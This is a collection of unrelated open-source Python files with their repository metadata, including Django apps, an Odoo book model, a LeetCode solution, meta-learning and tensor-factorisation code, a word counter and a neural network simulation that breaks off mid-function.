d5604b226c72488919b888f5ef1f7ef51ab130b7

1631ca8e5cc7fa7e7d2ac307fefab490bb307ab7

/function_filePathCheck.py

dad0375d21938bb07060cf5ca7394f61692c2190

[]

no_license

jacksalssome/StandardFormatTranscoder

5350d7ba1edf05f58299619d350df6fa53946008

29e6a38f0326301743c99b0cb65a0872e1fc7984

refs/heads/main

2023-07-16T01:56:26.790527

2023-07-08T15:28:49

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from colorama import Fore import sys import re import os def filePathCheck(currentOS, inputArg): if currentOS == "Windows" and len(inputArg) <= 3: # <= 3 equals C:\ (root dir) print(Fore.YELLOW + "Can't run in root of drive, input has to be like: " + Fore.RESET + "-i \"D:\\folder\"") elif currentOS == "Windows" and len(inputArg) <= 4 and re.search("[A-Z][A-Z]:\\\\", str(inputArg)): # <= 4 equals AB:\ (root dir) print(Fore.YELLOW + "Nice drive letters, but can't run in root of drive, input has to be like: " + Fore.RESET + "-i \"D:\\folder\"") elif currentOS == "Linux" and len(inputArg) <= 1: # <= 2 equals / (root dir) print(Fore.YELLOW + "Can't run in root of drive, input has to be like: " + Fore.RESET + "-i \"/home\"") else: print(Fore.YELLOW + "Can't find file path: \"" + Fore.RESET + inputArg + Fore.YELLOW + "\"" + Fore.RESET) print(Fore.YELLOW + "Note: this program doesn't create directories" + Fore.RESET) input("Press Enter to exit...") sys.exit() def checkIfPathIsAFile(Directory, typeOfDirectory): if os.path.isfile(Directory): # If user puts in a link to a single file if typeOfDirectory == "input": print(Fore.YELLOW + "Cant handle direct files, only the directory they are in." + Fore.RESET) print(Fore.YELLOW + "Would you like to use this directory: " + Fore.RESET + "\"" + os.path.dirname(Directory) + "\"" + Fore.YELLOW + "? [Y/N]" + Fore.RESET) elif typeOfDirectory == "output": print(Fore.YELLOW + "Output to a single file, only to a directory." + Fore.RESET) print(Fore.YELLOW + "Would you like to output to this directory: " + Fore.RESET + "\"" + os.path.dirname(Directory) + "\"" + Fore.YELLOW + "? [Y/N]" + Fore.RESET) else: breakpoint() answerYN = None while answerYN not in ("yes", "no", "y", "n"): answerYN = input() if answerYN == "yes" or answerYN == "y": Directory = os.path.dirname(Directory) # Trim input dir to the dir of the inputted file elif answerYN == "no" or answerYN == "n": sys.exit() else: print("Please enter yes or no.") return Directory

[ "jacksalssome@hotmail.com" ]

jacksalssome@hotmail.com

1aa86a3850c8d370b0a3bfe7231bb14804fde80b

248e87db5d7819962ca9b68afcb5b33cb68d219f

/apps/login_regis/migrations/0001_initial.py

6337eb3cbf6404875506ae744b04e8388079e209

[]

no_license

Acyu83/pythonblackbelt2

c4b2ca571a516a3aec3178d2970582b8071390e6

0e1732d099327af4bf23abaaaf5304a458a833ba

refs/heads/master

2021-01-17T11:10:10.999793

2017-03-06T03:56:41

84,026,282

0

null

UTF-8

Python

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py

# -*- coding: utf-8 -*- # Generated by Django 1.10.5 on 2017-02-22 21:26 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='User', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('first_name', models.CharField(max_length=255)), ('last_name', models.CharField(max_length=255)), ('email', models.CharField(max_length=255)), ('password', models.CharField(max_length=255)), ('created_at', models.DateTimeField(auto_now_add=True)), ('updated_at', models.DateTimeField(auto_now=True)), ], ), ]

[ "acyu83@gmail.com" ]

acyu83@gmail.com

49716fffe1d3d747365e83abe99f48f2a62222a2

be5c86e8fe3f5836b7d2097dd5272c72b5b28f15

/binary-search/Python/0374-guess-number-higher-or-lower.py

bca7b49cffd223314f15f7da64b8be501150cf07

[ "Apache-2.0" ]

permissive

lemonnader/LeetCode-Solution-Well-Formed

d24674898ceb5441c036016dc30afc58e4a1247a

baabdb1990fd49ab82a712e121f49c4f68b29459

refs/heads/master

2021-04-23T18:49:40.337569

2020-03-24T04:50:27

249,972,064

1

0

Apache-2.0

2020-03-25T12:26:25

2020-03-25T12:26:24

null

UTF-8

Python

false

523

py

# The guess API is already defined for you. # @param num, your guess # @return -1 if my number is lower, 1 if my number is higher, otherwise return 0 def guess(num): pass class Solution(object): def guessNumber(self, n): left = 1 right = n while left < right: mid = (left + right) >> 1 if guess(mid) == 1: left = mid + 1 else: right = mid # 最后剩下的数一定是所求，无需后处理 return left

[ "121088825@qq.com" ]

121088825@qq.com

1095576a2812ddaaae40317c51f9a41d639a7ada

bbb68a670f242fe80f321d85701a917e670847d5

/library_app/models/library_book.py

84057c5674df74b47245046868fb8d182892b985

[]

no_license

Aaron-97/test

7f3606f6fe51797d1d8329ff790e9cd47f512a65

c7bcfab9280fbc760499cb94acf56f75f14d00b9

refs/heads/master

2023-01-09T23:40:07.239037

2020-11-09T08:03:59

311,197,727

0

null

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from odoo import api, fields, models from odoo.exceptions import Warning, ValidationError class Book(models.Model): _name = 'library.book' _description = 'Book' # String fields name = fields.Char('Title', required=True) isbn = fields.Char('ISBN') book_type = fields.Selection( [('paper', 'Paperback'), ('hard', 'Hardcover'), ('electronic', 'Electronic'), ('other', 'Other')], 'Type') notes = fields.Text('Internal Notes') descr = fields.Html('Description') # Numeric fields: copies = fields.Integer(default=1) avg_rating = fields.Float('Average Rating', (3,2)) price = fields.Monetary('Price', 'currency_id') currency_id = fields.Many2one('res.currency') # Date and time fields date_published = fields.Date() last_borrow_date = fields.Datetime( 'Last Borrowed On', default=lambda self: fields.Datetime.now()) # Other fields active = fields.Boolean('Active?', default=True) image = fields.Binary('Cover') publisher_id = fields.Many2one('res.partner', string='Publisher') author_ids = fields.Many2many('res.partner', string='Authors') def _check_isbn(self): self.ensure_one() isbn = self.isbn.replace('-', '') digits = [int(x) for x in isbn if x.isdigit()] if len(digits) == 13: ponderations = [1, 3] * 6 terms = [a * b for a, b in zip(digits[:13], ponderations)] remain = sum(terms) % 10 check = 10 - remain if remain != 0 else 0 return digits[-1] == check def button_check_isbn(self): for book in self: if not book.isbn: raise Warning('Please provide an ISBN for %s' % book.name) if book.isbn and not book._check_isbn(): raise Warning('%s is an invalid ISBN' % book.isbn) return True publisher_country_id = fields.Many2one( 'res.country', string='Publisher Country', compute='_compute_publisher_country', # store = False, # 默认不在数据库中存储 inverse='_inverse_publisher_country', search='_search_publisher_country', ) @api.depends('publisher_id.country_id') def _compute_publisher_country(self): for book in self: book.publisher_country_id = book.publisher_id.country_id def _inverse_publisher_country(self): for book in self: book.publisher_id.country_id = book.publisher_country_id def _search_publisher_country(self, operator, value): return [('publisher_id.country_id', operator, value)] _sql_constraints = [ ('library_book_name_date_uq', # 约束唯一标识符 'UNIQUE (name, date_published)', # 约束 SQL 语法 'Book title and publication date must be unique'), # 消息 ('library_book_check_date', 'CHECK (date_published <= current_date)', 'Publication date must not be in the future'), ] @api.constrains('isbn') def _constrain_isbn_valid(self): for book in self: if book.isbn and not book._check_isbn(): raise ValidationError('%s is an invalid ISBN' % book.isbn)

[ "2291177920@qq.com" ]

2291177920@qq.com

a8e39f0d7e65c4e87997c24e78265589babf0581

97841ea896bad4098350243e35580e8fe968d220

/src/maml.py

6007461a4f3e693525956861b8287af22655668f

[ "MIT" ]

permissive

gthecht/mandril-project

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b1232706d8b77210ec3ed2fee4d809f2faacdd3e

refs/heads/main

2023-03-19T05:24:49.345063

2021-02-28T18:26:52

313,941,452

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MIT

2020-12-09T14:48:51

2020-11-18T13:21:42

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#!/usr/bin/env python import utils import solver as Solver import gridworld as World import gaussianfit as Gfit import numpy as np import matplotlib.pyplot as plt import time class Mandril: def __init__( self, N=100, batch_size=20, meta_lr=0.1, size=5, p_slip=0, terminal=None, debug=False, theta=None, discount=0.7, draw=False, validate_step=100000, model="Gaussian" ): self.N = N self.batch_size = batch_size self.meta_lr = meta_lr self.size = size self.p_slip = p_slip self.terminal = terminal self.debug = debug self.theta = theta self.discount = discount self.draw = draw self.validate_step = validate_step self.model = model def maml(self, theta=None): if theta is None: theta = self.theta data = { "thetas": [], "groundTruthReward": [], "phi_loss": [], "reg_loss": [], "mamlReward": [], "regularReward": [], "worlds": [], "validation_score": [], "regular_score": [], "policy_score": [], "reg_policy_score": [] } valid_data = { "thetas": [], "groundTruthReward": [], "phi_loss": [], "reg_loss": [], "mamlReward": [], "regularReward": [], "worlds": [], "validation_score": [], "regular_score": [], "policy_score": [], "reg_policy_score": [] } for ind in range(self.N): if self.debug: print("Iteration #{0}".format(ind)) theta = self.maml_step(data, theta) if ind % self.validate_step == 0: print("Validation for step #{0}".format(ind)) real_debug = self.debug self.debug = True _ = self.maml_step(valid_data, theta) self.debug = real_debug return data, valid_data def maml_step(self, data, theta): startTime = time.time() theta, phi, theta_regular, gt_reward, world, phi_loss, reg_loss = self.maml_iteration(theta) # rewards: features = World.state_features(world) mamlReward = features.dot(phi) regularReward = features.dot(theta_regular) validation_score, regular_score, policy_score, reg_policy_score = self.calc_rewards( world, gt_reward, mamlReward, regularReward ) data["thetas"].append(theta.copy()) data["groundTruthReward"].append(gt_reward) data["phi_loss"].append(phi_loss) data["reg_loss"].append(reg_loss) data["mamlReward"].append(mamlReward) data["regularReward"].append(regularReward) data["worlds"].append(world) data["validation_score"].append(validation_score) data["regular_score"].append(regular_score) data["policy_score"].append(policy_score) data["reg_policy_score"].append(reg_policy_score) executionTime = (time.time() - startTime) if self.debug: print('Execution time: {0} (sec) - \ policy score: {1}, regular policy score: {2}'. format( round(executionTime, 2), policy_score, reg_policy_score ) ) return theta def maml_iteration(self, theta): # set-up mdp world, reward, terminal = utils.setup_mdp(self.size, self.p_slip, location=self.terminal) # get expert trajectories trajectories, expert_policy = utils.generate_trajectories( world, reward, terminal, n_trajectories=self.batch_size, discount=self.discount ) # optimize with maxent phi, phi_reward = utils.maxent( world, terminal, trajectories, theta ) phi_loss = self.get_loss(world, reward, phi_reward) # Get a theta for an untrained init: theta_regular, reg_reward = utils.maxent( world, terminal, trajectories ) reg_loss = self.get_loss(world, reward, reg_reward) if self.draw: utils.plot_rewards(world, reward, expert_policy, trajectories, phi, theta_regular) # update theta: theta = self.update_theta(theta, phi, self.meta_lr, phi_loss) phi = self.update_theta(None, phi, self.meta_lr, phi_loss) theta_regular = self.update_theta(None, theta_regular, self.meta_lr, reg_loss) if self.debug: print("phi loss: {0} : regular loss: {1}".format(phi_loss, reg_loss)) return theta, phi, theta_regular, reward, world, phi_loss, reg_loss def get_loss(self, world, gt_reward, reward): # Calculate loss: optimal_policy_value = Solver.optimal_policy_value(world, gt_reward, self.discount) maxent_policy_value = Solver.optimal_policy_value(world, reward, self.discount) # validate loss = self.validate(world, optimal_policy_value, maxent_policy_value) return loss def update_theta(self, theta, phi, meta_lr, loss): """ Update theta """ # normalize phi phi = phi / phi.max() if theta is None: theta = phi #/ phi.shape[0] if self.model == "Gaussian": phi_mat = phi.reshape(int(np.sqrt(phi.shape[0])), -1) gauss_phi = Gfit.fitgaussian(phi_mat) # phi_fit = Gfit.gaussGrid(phi_mat.shape, *gauss_phi) theta_mat = theta.reshape(int(np.sqrt(theta.shape[0])), -1) gauss_theta = Gfit.fitgaussian(theta_mat) # theta = theta + meta_lr * (phi - theta) gauss_theta = gauss_theta + loss * meta_lr * (gauss_phi - gauss_theta) theta_mat = Gfit.gaussGrid(phi_mat.shape, *gauss_theta) theta = theta_mat.reshape(-1) # normalize theta: theta = theta / theta.max() elif self.model == "Naive": theta = theta + loss * meta_lr * (phi - theta) else: raise ValueError("model is undefined") return theta def validate(self, world, optimal_policy_value, agent_policy_value): agent_policy = np.array([ np.argmax([agent_policy_value[world.state_index_transition(s, a)] for a in range(world.n_actions)]) for s in range(world.n_states) ]) optimal_options = [] for s in range(world.n_states): values = [optimal_policy_value[world.state_index_transition(s, a)] for a in range(world.n_actions)] optimal_options.append(np.argwhere(values == np.amax(values))) # compare the policies, remember that the terminal state's policy is unneeded error_num = sum([agent_policy[s] not in optimal_options[s] for s in range(world.n_states)]) return error_num / self.size**2 def calc_rewards(self, world, gt_reward, maml_reward, reg_reward): # optimal policy: optimal_policy_value = Solver.optimal_policy_value(world, gt_reward, self.discount) maxent_policy_value = Solver.optimal_policy_value(world, maml_reward, self.discount) reg_maxent_policy_value = Solver.optimal_policy_value(world, reg_reward, self.discount) # validate policy_score = self.validate(world, optimal_policy_value, maxent_policy_value) reg_policy_score = self.validate(world, optimal_policy_value, reg_maxent_policy_value) validation_score = sum((maml_reward - gt_reward)**2) regular_score = sum((reg_reward - gt_reward)**2) return validation_score, regular_score, policy_score, reg_policy_score #%% MAIN if __name__ == '__main__': startTime = time.time() # parameters size = 5 p_slip = 0.5 N = 10 validate_step = 2 batch_size = 10 meta_lr = 0.1 terminal = None debug = False model = "Naive" # Mandril class: mandril = Mandril( N=N, batch_size=batch_size, meta_lr=meta_lr, size=size, p_slip=p_slip, terminal=terminal, debug=debug, validate_step=validate_step, model=model ) # run maml: data, valid_data = mandril.maml() # Print output: print('Theta: {0}'.format(data["thetas"][-1])) executionTime = (time.time() - startTime) print("mean validations per tenths:") print([np.round(np.mean(data["policy_score"][int(N / 10) * i : int(N / 10) * (i + 1)]), 2) for i in range(10)]) print("Regular maxent:") print([np.round(np.mean(data["reg_policy_score"][int(N / 10) * i : int(N / 10) * (i + 1)]), 2) for i in range(10)]) print('Total execution time: {0} (sec)'.format(executionTime)) fig = plt.figure(figsize=(12,8)) plt.plot(range(N), data["phi_loss"][:N], data["reg_loss"][:N]) plt.legend(["phi_loss", "reg_loss"]) plt.title("Loss for mandril, vs. loss for regular maxent for p_slip of: {0}".format(p_slip)) plt.show()

[ "gdhecht@gmail.com" ]

gdhecht@gmail.com

f70776b1699a7ac825b34acd41be2609e970d1fc

507e912bc890813f138b019b9afe30456b02a1f7

/pycfm/model.py

b3e02521f39d74116b80a00cd2f58d6587a04667

[ "BSD-3-Clause" ]

permissive

nils-werner/pyCFM

0393f8629883a3ffd440988171a7e105aa191de8

130eaf8b9ec819d44ce574cf97aa97b06e4d7ede

refs/heads/master

2021-01-20T16:30:49.571668

2016-03-11T15:01:36

53,676,018

0

null

2016-03-11T15:21:14

null

UTF-8

Python

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import numpy as np import tqdm try: from opt_einsum import contract as einsum except ImportError: from numpy import einsum def hat(P, At, Ac, eps=None): if eps is None: eps = np.finfo(float).eps return eps + einsum('abfj,tj,cj->abftc', P, At, Ac) def nnrandn(shape): """generates randomly a nonnegative ndarray of given shape Parameters ---------- shape : tuple The shape Returns ------- out : array of given shape The non-negative random numbers """ return np.abs(np.random.randn(*shape)) class CFM(object): """The Common Fate model Vj(a,b,f,t,c) = P(a,b,f,j)At(t,j)Ac(c,j) So we have one modulation texture "shape" for each frequency, hence P(a,b,f,j) which is activated over time, this is At(t,j) and over channels, this is Ac(c,j) Parameters --------- data_shape : iterable A tuple of integers representing the shape of the data to approximate n_components : int > 0 the number of latent components for the NTF model positive integer beta : float The beta-divergence to use. An arbitrary float, but not that non-small integer values will significantly slow the calculation down. Particular cases of interest are: * beta=2 : Euclidean distance * beta=1 : Kullback Leibler * beta=0 : Itakura-Saito """ def __init__( self, data, nb_components, nb_iter=100, beta=1, P=None, At=None, Ac=None, ): # General fitting parameters self.data = data self.nb_components = nb_components self.beta = float(beta) self.nb_iter = nb_iter # Factorisation Parameters if P is None: self.P = nnrandn(self.data.shape[:3] + (nb_components,)) else: self.P = P if At is None: self.At = nnrandn((self.data.shape[3], nb_components)) else: self.At = At if Ac is None: self.Ac = nnrandn((self.data.shape[4], nb_components)) else: self.Ac = Ac def fit(self): """fits a common fate model to Z(a,b,f,t,i) = P(a,b,j)Af(f,j)At(t,j)Ac(i,j) """ def MU(einsumString, Z, factors): Zhat = hat(self.P, self.At, self.Ac) return ( einsum( einsumString, self.data * (Zhat ** (self.beta - 2)), *factors) / einsum( einsumString, Zhat ** (self.beta - 1), *factors ) ) for it in tqdm.tqdm(range(self.nb_iter)): self.P *= MU('abftc,tj,cj->abfj', self.data, (self.At, self.Ac)) self.At *= MU('abftc,abfj,cj->tj', self.data, (self.P, self.Ac)) self.Ac *= MU('abftc,abfj,tj->cj', self.data, (self.P, self.At)) return self @property def factors(self): return (self.P, self.At, self.Ac) @property def approx(self): return hat(self.P, self.At, self.Ac)

[ "mail@faroit.com" ]

mail@faroit.com

83027b62ac40aff7b463752f943ed54795863c91

d5ef24edc540f4dcc48a26d19ee95a3de302c55f

/classes/objects/Classroom.py

96551c65cd65075058e117a098ab409e31365ec2

[]

no_license

Yoske62/nadav

526275e1501116263d4b293b0308f52bd7bd9848

588fcd7f509da111f82cbea2788c6940f645233c

refs/heads/master

2020-03-27T21:06:55.690948

2018-09-09T05:35:48

147,115,581

0

null

UTF-8

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false

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py

class Classroom(object): def __init__(self,Id: int, Name: str, Capacity: int, Notes: str): self.Id = Id self.Name = Name self.Capacity = Capacity self.Notes = Notes

[ "yoske62@gmail.com" ]

yoske62@gmail.com

1fdeb7595c4c3e0ed8c1014b6e108291cd62d892

c745592e6002d0efb6b18a71554ec1e6bebf8ca4

/article/admin.py

492755ed705d3411707556cec007becb084f6c0a

[]

no_license

Melish76/FirstProject_DJ

c001715c6178e868789084fc16f7b01a8974609a

e38e1d8f83f9132f0f98cec0e41c4515681616e9

refs/heads/master

2020-09-29T04:49:33.248469

2019-12-09T21:32:37

226,955,452

0

null

UTF-8

Python

false

608

py

from django.contrib import admin from .models import Article,Comment # Register your models here. @admin.register(Article) class ArticleAdmin(admin.ModelAdmin): list_display=["title","author","created_date","content"] list_display_links=["title","created_date"] search_fields=["title"] list_filter=["created_date","title"] class Meta: model=Article @admin.register(Comment) class CommentAdmin(admin.ModelAdmin): list_display=["comment_author","comment_content","comment_date"] list_display_links=["comment_author","comment_content"] class Meta: model=Comment

[ "meleyke.huseynova03@gmail.com" ]

meleyke.huseynova03@gmail.com

f25fdbddc9fdfd5ca2a2de6f20f15a4640927b86

3ebb50b403ab32fccfab9279232682f1ef9005bf

/accounts/tests/test_views.py

bc42629b08a65c01768fbda34d5cf4a35350f4ea

[]

no_license

leoalmeidab/tdd-project

69a6c8c046e89ef5e090e6b9c308b12cd01fbbb8

2b5ce5fac153124addffd1796ae37a1b94f4daf5

refs/heads/main

2023-07-01T14:16:02.987515

2021-08-13T22:57:17

392,769,061

0

null

UTF-8

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from django.test import TestCase import accounts.views from unittest.mock import patch class SendLoginEmailViewTest(TestCase): def test_redirects_to_home_page(self): response = self.client.post('/accounts/send_login_email', data={ 'email': 'edith@example.com' }) self.assertRedirects(response, '/') @patch('accounts.views.send_mail') def test_sends_mail_to_address_from_post(self, mock_send_mail): self.client.post('/accounts/send_login_email', data={ 'email': 'edith@example.com' }) self.assertEqual(mock_send_mail.called, True) (subject, body, from_email, to_list), kwargs = mock_send_mail.call_args self.assertEqual(subject, 'Your login link for Superlists') self.assertEqual(from_email, 'noreply@superlists') self.assertEqual(to_list, ['edith@example.com'])

[ "leonardobrito@dcc.ufmg.br" ]

leonardobrito@dcc.ufmg.br

7cca7a15eb838322918f35d63c3ebf8e698d8601

2008aa05fc64a4787d6f2f0f9cdce4ce98dc9fe2

/app/bootstrap/Directories.py

df88728830263ae9b801bf0902648127c3d5350a

[]

no_license

filljoyner/web-traffic-classifier

a7ff503a52287bf9f863e58f735dde564c960f96

38b2fe9cadc60d0610364a08204b85c0c62fb507

refs/heads/master

2020-06-24T08:40:58.655140

2019-07-26T02:09:14

198,917,851

0

null

UTF-8

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py

from app.components.FileSystem import FileSystem class Directories: dirs = { 'base': None, 'logs': None, 'workspace': None } def __init__(self): self.put('base', FileSystem.cwd()) self.put('logs', self.get('base') + '/logs') self.put('workspace', self.get('base') + '/workspace') def all(self): return self.dirs def put(self, dir_key, dir_value): self.dirs[dir_key] = dir_value def get(self, dir_key): return self.dirs[dir_key]

[ "filljoyner@gmail.com" ]

filljoyner@gmail.com

a995f929cf702e3cf0ce056d4ed20bda47b8f3d4

ad6cc209b3251c2074920a893afcb48831af6dc1

/word_count.py

8eeb5a5efea83d6e3d3254384ea359306f820db3

[]

no_license

ackendal/transcriptTools

762efaadbef043c7e077b7b96ba1f63552a743c9

0ceefeb367dddae034264e9faee41e9407eac201

refs/heads/master

2022-11-23T23:37:18.075033

2020-07-29T16:34:36

283,545,497

0

null

UTF-8

Python

false

6,309

py

#!/usr/bin/env python3 """ Alex Kendal, V00872134 * * A program that reads a file and outputs a count of how * * many words of all lengths it finds are in the file. * * This list of counts can be sorted or unsorted (default) * * and printed with or without (default) a list of the * * words of each length. Only non letter characters are * * .,();. * """ import argparse import sys """ find_lowest_node: Function takes in a list and locates the word that is alphabetically closest to a. """ def find_lowest_node(input): min = input[0] for word in input: if word < min: min = word return min """ clear_special_characters: Function takes in a string and strips text of all characters that are not letters, including the enter key, and makes all letters lowercase. """ def clear_special_characters(input): output = "" for c in input: c = c.lower() if((c == '(') or (c == ')') or (c == '.') or (c == ',') or (c == '-') or (c == '!') or (c == ';') or (c == '?') or (c == '\n') or (c == '\r')): c = ' ' output += c return output """ max_length: Function takes in a list and outputs the longest word length in the list. """ def max_length(input): max = 0 for word in input: if len(word) > max: max = len(word) return max """ frequencies: Function takes in a list of words and the maximum length of a word and returns another list of lengths and their corrosponding frequencies. """ def frequencies(input): wordlist = [] added = 0; count = -1; backcount = 0; print(input) for x in range(0, len(input)): word = input[x] count = count+1 for tuple in wordlist: if tuple[0] == word: temp = (tuple[0], tuple[1]+1) ind = wordlist.index((word, tuple[1])) wordlist[ind] = temp; added = 1; count = -1; if added == 0: temp = (word, 1) print(temp) wordlist.append(temp) count = -1; added = 0 print(wordlist) wordlist.sort(key = lambda tup: tup[1]) print(wordlist) return wordlist def print_nicely(input): output = "" count = 0; for tuple in input: output += (str(tuple[0]) + ": " + str(tuple[1]) + " ") count = count + 1 if(count%5 == 0): output += "\n" print(output) """ check_counts: precursor to print_words(). Runs through a list of words and an expected value to be the length of. It returns the number of words of that length. * """ def check_counts(input, count): num = 0 for word in input: if(len(word) == count): num = num + 1 return num """ print_by_length: Function to print in order from shortest word length to longest. Takes in the list of frequencies and whether to print words. """ def print_by_length(input, print_on, words): output = "" for x in range(len(input)): l = str(input[x]['length']) f = str(input[x]['frequency']) output = ("Count[" + l + "]=" + f + ";") if print_on: output += (" " + print_words(words, input[x]['length'])) print(output) """ print_by_frequency: Function to print in order from least to most common lengths. Takes in the list of frequencies and whether to print words. """ def print_by_frequency(input, print_on, words): output = "" list = [x['frequency'] for x in input] list.sort() list.reverse() for y in list: length = len(input) index = 0 while(index < length): if(input[index]['frequency'] == y): l = str(input[index]['length']) f = str(y) output = ("Count[" + l + "]=" + f + ";") if print_on: output += (" " + print_words(words, input[index]['length'])) print(output) del input[index] length = length - 1 index = 0 else: index = index + 1 """ print_words: Function to print words of a given length. Takes in the list of words and the length to print. """ def print_words(input, count): output = "(words: " num = check_counts(input, count) index = 0 if(num == 0): return; elif(num == 1): for word in input: if(len(word) == count): output += ("\"" + word + "\")") elif(num == 2): for word in input: if((len(word) == count) and (index < (num - 1))): output += ("\"" + word + "\" ") index = index + 1 elif(len(word) == count): output += ("and \"" + word + "\")") else: for word in input: if((len(word) == count) and (index < (num - 2))): output += ("\"" + word + "\", ") index = index + 1 elif((len(word) == count) and (index < (num - 1))): output += ("\"" + word + "\" ") index = index + 1 elif(len(word) == count): output += ("and \"" + word + "\")") return output def main(): file = None """ Examining arguments from the command line. "--infile" opens a file (specified in the following argument), "--sort" turns the sort_on on, and "--print-words" turns print_on on. Any other argument doesn't do anything. """ parser = argparse.ArgumentParser() parser.add_argument("--infile", action="store") parser.add_argument("--sort", action="store_true") parser.add_argument("--print-words", action="store_true") args = parser.parse_args() if args.infile: try: file = open(args.infile, "r") except FileNotFoundError: print("Cannot open input file.") sys.exit(1) """ Accessing the file and storing it to a string so that it can be accessed by the program. """ if(file is None): print("No file could be accessed.") input = file.read() file.close() input = clear_special_characters(input) words = input.split() max = max_length(words) freqlist = frequencies(words) print_nicely(freqlist) """ Series of checks and functions calls. Options are between displaying counts sorted or unsorted, with or without a list of unique words used. """ # if args.sort: # print_by_frequency(freqlist, args.print_words, words) # else: # print_by_length(freqlist, args.print_words, words) if __name__ == "__main__": main()

[ "ackendal@gmail.com" ]

ackendal@gmail.com

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#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Mar 29 15:26:04 2021 @author: olive """ #------------------------------------------------------------------------------ # Necessary modules #------------------------------------------------------------------------------ from __future__ import division import numpy as np import matplotlib.pyplot as plt from numpy.random import normal as rnorm p={} # Parameter dictionary #------------------------------------------------------------------------------ # Network Parameters #------------------------------------------------------------------------------ p['beta_exc'] = 0.066 # Hz/pA p['beta_inh'] = 0.351 # Hz/pA # Let us remember that we are keeping this as constant p['tau_exc'] = 20 # ms # p['tau_inh'] = 10 # ms p['wEE'] = 24.3 # pA/Hz p['wIE'] = 12.2 # pA/Hz p['wEI'] = 19.7 # pA/Hz p['wII'] = 12.5 # pA/Hz p['muEE'] = 33.7 # pA/Hz p['muIE'] = 25.3 # pA/Hz p['eta'] = 0.68 ####### ROI = 29 areas ################ with open("/home/olive/Desktop/LSN/Jog/distMatval.txt") as f: contents=f.readlines() DISTmtx =np.array([[float(k) for k in i.split()] for i in contents]) with open("/home/olive/Desktop/LSN/Jog/flnMatshuf2.txt") as f: contents=f.readlines() FLN=np.array([[float(k) for k in i.split()] for i in contents]) areas=['V1','V2','V4','DP','MT','8m','5','8I','TEO','2','F1','STPc','7A','46d', '10','9/46v','9/46d','F5','TEpd','PBr','7m','7B','F2','STPi','PROm','F7', '8B','STPr','24c'] hier=np.array([[0,0.2,0.45,0.5,0.51,0.55,0.58,0.6,0.61,0.63,0.67, 0.7,0.72,0.73,0.76,0.78,0.8,0.83,0.85,0.86,0.87, 0.95,0.96,0.965,0.97,0.98,0.985,0.99,1]]) p['hier_vals'] = hier p['fln_mat']=FLN p['areas']=areas p['n_area']=len(p['areas']) p['exc_scale'] = (1+p['eta']*p['hier_vals']) # Sign function fI = lambda x : x*(x>0) # f-I curve ########### Choose the injection area area_act = 'V1' print('Running network with stimulation to ' + area_act) # Definition of combined parameters local_EE = p['beta_exc'] * p['wEE'] * p['exc_scale'] local_EI = -p['beta_exc'] * p['wEI'] local_IE = p['beta_inh'] * p['wIE'] * p['exc_scale'] local_II = -p['beta_inh'] * p['wII'] fln_scaled = (p['exc_scale'] * p['fln_mat'].T).T #--------------------------------------------------------------------------------- # Simulation Parameters #--------------------------------------------------------------------------------- # White noise input parameters me=2 SD=0.5 # Hz dt = 0.2 # ms T = 2500 # ms t_plot = np.linspace(0, T, int(T/dt)+1) n_t = len(t_plot) E_back=10 # Back-ground rate for excitation I_back=35 # Back-ground rate for inhibition # From target background firing inverts background inputs r_exc_tgt = E_back * np.ones(p['n_area']) r_inh_tgt = I_back * np.ones(p['n_area']) longrange_E = np.dot(fln_scaled,r_exc_tgt) I_bkg_exc = r_exc_tgt - (local_EE*r_exc_tgt + local_EI*r_inh_tgt + p['beta_exc']*p['muEE']*longrange_E) I_bkg_inh = r_inh_tgt - (local_IE*r_exc_tgt + local_II*r_inh_tgt + p['beta_inh']*p['muIE']*longrange_E) # White noise stimulus input I_stim_exc = np.zeros((n_t,p['n_area'])) area_stim_idx = p['areas'].index(area_act) # Index of stimulated area area_no_stim=tuple([i for i in range(p['n_area']) if i != area_stim_idx]) #time_idx = (t_plot>100) & (t_plot<=350) I_stim_exc[:,area_stim_idx] = rnorm(0,0.5,n_t) I_stim_exc[:,area_no_stim] = rnorm(0,0.00005,(n_t,p['n_area']-1)) # Above value chosen so that V1 is driven up to 100 Hz #--------------------------------------------------------------------------------- # Storage #--------------------------------------------------------------------------------- r_exc = np.zeros((n_t,p['n_area'])) r_inh = np.zeros((n_t,p['n_area'])) #--------------------------------------------------------------------------------- # Initialization #--------------------------------------------------------------------------------- # Set activity to background firing r_exc[0] = r_exc_tgt r_inh[0] = r_inh_tgt #--------------------------------------------------------------------------------- # Running the network #--------------------------------------------------------------------------------- for i_t in range(1, n_t): longrange_E = np.dot(fln_scaled,r_exc[i_t-1]) print(longrange_E) I_exc = (local_EE*r_exc[i_t-1] + local_EI*r_inh[i_t-1] + p['beta_exc'] * p['muEE'] * longrange_E + I_bkg_exc + I_stim_exc[i_t]) I_inh = (local_IE*r_exc[i_t-1] + local_II*r_inh[i_t-1] + p['beta_inh'] * p['muIE'] * longrange_E + I_bkg_inh) d_r_exc = -r_exc[i_t-1] + fI(I_exc) d_r_inh = -r_inh[i_t-1] + fI(I_inh) r_exc[i_t] = r_exc[i_t-1] + d_r_exc * dt/p['tau_exc'] r_inh[i_t] = r_inh[i_t-1] + d_r_inh * dt/p['tau_inh'] ############################################################################## ########################### PLOTTING RESULTS ################################# ############################################################################## ### Neural rate series plots _ = plt.figure(figsize=(4,4)) area_name_list = p['areas'] area_idx_list = [-1]+[p['areas'].index(name) for name in area_name_list] f, ax_list = plt.subplots(len(area_idx_list), sharex=True) for ax, area_idx in zip(ax_list, area_idx_list): if area_idx < 0: y_plot = I_stim_exc[:, area_stim_idx] txt = 'Input' else: y_plot = r_exc[:,area_idx] txt = p['areas'][area_idx] y_plot = y_plot - y_plot.min() ax.plot(t_plot, y_plot) ax.text(0.9, 0.6, txt, transform=ax.transAxes) ax.set_yticks([y_plot.max()]) ax.set_yticklabels(['{:0.4f}'.format(y_plot.max())]) ax.spines["right"].set_visible(False) ax.spines["top"].set_visible(False) ax.xaxis.set_ticks_position('bottom') ax.yaxis.set_ticks_position('left') f.text(0.01, 0.5, 'Change in firing rate (Hz)', va='center', rotation='vertical') ax.set_xlabel('Time (ms)') ######################################################################### ### Autocorrelation calculation, plots and exponential fits ############# ######################################################################### ## ACF of the ROIs are stacked as columns of numpy array import statsmodels.api as sm from statsmodels.tsa.stattools import acf # For autocorrelation from scipy.optimize import curve_fit # For exponential curve fitting # Single exponential fit def monoExp(x, 